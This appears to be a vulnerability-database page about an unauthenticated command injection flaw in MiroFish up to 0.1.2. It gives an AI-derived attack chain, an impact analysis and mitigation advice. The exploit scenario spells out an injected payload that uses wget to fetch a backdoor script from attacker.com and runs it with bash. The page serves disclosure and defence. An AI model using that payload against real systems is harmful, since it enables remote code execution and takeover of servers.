Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconScan for exposed MiroFish service
-
DeliverySend crafted request to simulation_ipc endpoint
-
ExploitInject shell commands via SimulationIPCClient.send_command
-
InstallExecute arbitrary commands with service privileges
-
C2Download and install backdoor
-
ExecuteEstablish C2 channel
-
ImpactExfiltrate data or pivot to internal networks
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | No special conditions - remote unauthenticated exploitation against default configurations of MiroFish versions 0.1.2 and earlier. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms network-accessible attack surface requiring no authentication, low attack complexity, and no user interaction. The only prerequisite is network reachability to the MiroFish backend service exposing the simulation_ipc.py endpoints. The vulnerability exists in core IPC functionality rather than an optional feature, meaning all standard deployments are vulnerable unless the specific simulation IPC service has been manually disabled or firewalled. Exploitation succeeds regardless of operating system, deployment configuration, or user activity. The backend must be running and accepting network connections, but this represents normal operational state rather than a limiting factor. |
| Impact | This vulnerability presents HIGH real-world risk despite the moderate CVSS score of 7.3. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms this is remotely exploitable with no authentication, low complexity, and no user interaction required - the most dangerous attack surface profile. The E:P (Proof-of-concept available) temporal metric is confirmed by the GitHub issue #488 containing exploit code. SSVC framework indicators point to immediate priority: exploitation is PUBLIC and PROVEN (POC exists), technical impact is TOTAL (arbitrary command execution enables full system compromise beyond the Low C/I/A ratings), and the vulnerability is AUTOMATABLE (can be scripted for mass exploitation). Critical risk amplifiers include: (1) vendor non-responsiveness means no patch timeline exists, (2) all versions through 0.1.2 remain vulnerable indefinitely, (3) unauthenticated network exposure means internet-facing instances are immediately at risk, and (4) command injection provides a direct path to Remote Code Execution, data exfiltration, and lateral movement. The CVSS CIA ratings of Low appear to underestimate impact - successful command injection typically enables complete system takeover. Organizations running MiroFish should treat this as a critical exposure requiring immediate compensating controls or service decommissioning. |
| Exploit ScenarioDerived | An unauthenticated attacker scans for exposed MiroFish instances and identifies the backend service port. The attacker crafts a malicious HTTP request targeting the simulation IPC endpoint, injecting shell metacharacters into command parameters (e.g., sending 'legitimate_command; wget http://attacker.com/backdoor.sh -O /tmp/b.sh; bash /tmp/b.sh' to the SimulationIPCClient.send_command function). The vulnerable backend executes the injected commands with the privileges of the MiroFish process, downloading and executing the attacker's payload. The attacker establishes persistent backdoor access, escalates privileges if the service runs as root, and pivots to internal networks. Public POC availability (GitHub issue #488) lowers the skill barrier, enabling script kiddies to exploit vulnerable instances at scale. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 26, 2026
Remote command injection in MiroFish versions up to 0.1.2 allows unauthenticated attackers to execute arbitrary system commands through the SimulationIPCClient.send_command function in the inter-process communication module. The vulnerability is actively exploitable via network access with low complexity, requiring no user interaction or authentication. A public proof-of-concept exploit has been disclosed (GitHub issue #488), and EPSS data shows moderate exploitation probability. The vendor (666ghj) has been notified via issue report but has not responded or released a patch, leaving all MiroFish installations vulnerable to remote compromise.
RemediationAI
No vendor-released patch exists at time of analysis - the project maintainer (666ghj) has not responded to the vulnerability disclosure submitted via GitHub issue #488 (https://github.com/666ghj/MiroFish/issues/488). Organizations must implement immediate compensating controls: (1) Remove all internet-facing exposure to MiroFish services by blocking external network access to affected ports/endpoints at firewall level - this prevents remote exploitation but eliminates legitimate remote access. (2) Implement strict network segmentation to isolate MiroFish instances on trusted internal networks with IP allowlisting for authorized clients only - reduces attack surface to insider threats and lateral movement scenarios. (3) Deploy web application firewall (WAF) or reverse proxy with command injection signature detection ahead of MiroFish endpoints, specifically filtering shell metacharacters (semicolons, pipes, backticks, dollar signs) in requests to simulation_ipc endpoints - may cause false positives if legitimate commands use these characters. (4) Monitor MiroFish process execution using EDR/auditd for unexpected child processes spawned from the Python backend, alerting on shell invocations (bash, sh, cmd.exe). (5) Consider migrating to alternative solutions or forking the project to apply input validation patches manually to SimulationIPCClient.send_command. Given vendor abandonment risk, long-term use of MiroFish poses unacceptable security debt.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the backend/app/services/simulation_ipc.py file in MiroFish, specifically the SimulationIPCClient.send_command function used for inter-process communication (IPC). The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command), commonly known as OS command injection. The affected component fails to properly sanitize user-supplied input before passing it to system command execution functions, allowing attackers to inject shell metacharacters or command separators. MiroFish appears to be a simulation or monitoring application that uses IPC for backend communication between processes. The vulnerable function likely accepts parameters from network requests and forwards them to system commands without validation, creating a direct pathway from network input to shell execution. The CPE identifier cpe:2.3:a:666ghj:mirofish confirms the vendor and product namespace.
Know when Mirofish gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
5DescriptionCVE.org
A vulnerability has been found in 666ghj MiroFish up to 0.1.2. The impacted element is the function SimulationIPCClient.send_command of the file backend/app/services/simulation_ipc.py of the component Inter-Process Communication. Such manipulation leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.
Executive ViewAI
MiroFish versions up to 0.1.2 contain an unauthenticated remote command injection vulnerability in the inter-process communication module that allows attackers to execute arbitrary system commands with no authentication required. Any organization running MiroFish is at immediate risk of complete system compromise, and the vendor has not released a patch despite notification.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to MiroFish instances using firewall rules and network segmentation to trusted internal networks only; (2) Disable or isolate the SimulationIPCClient module if functionality permits; (3) Run MiroFish in a restricted sandbox environment with minimal system privileges; (4) Monitor for suspicious command execution and inter-process communication patterns; (5) Establish an expedited vendor contact plan with 666ghj to request security update timeline, or evaluate complete replacement of the product.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Missing authentication in MiroFish REST API allows remote attackers to bypass security controls and access protected end
Path traversal in MiroFish up to version 0.1.2 allows remote unauthenticated attackers to read arbitrary files via manip
Information disclosure in MiroFish up to version 0.1.2 allows remote attackers to leak sensitive data through manipulati
EUVD-2026-25728
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB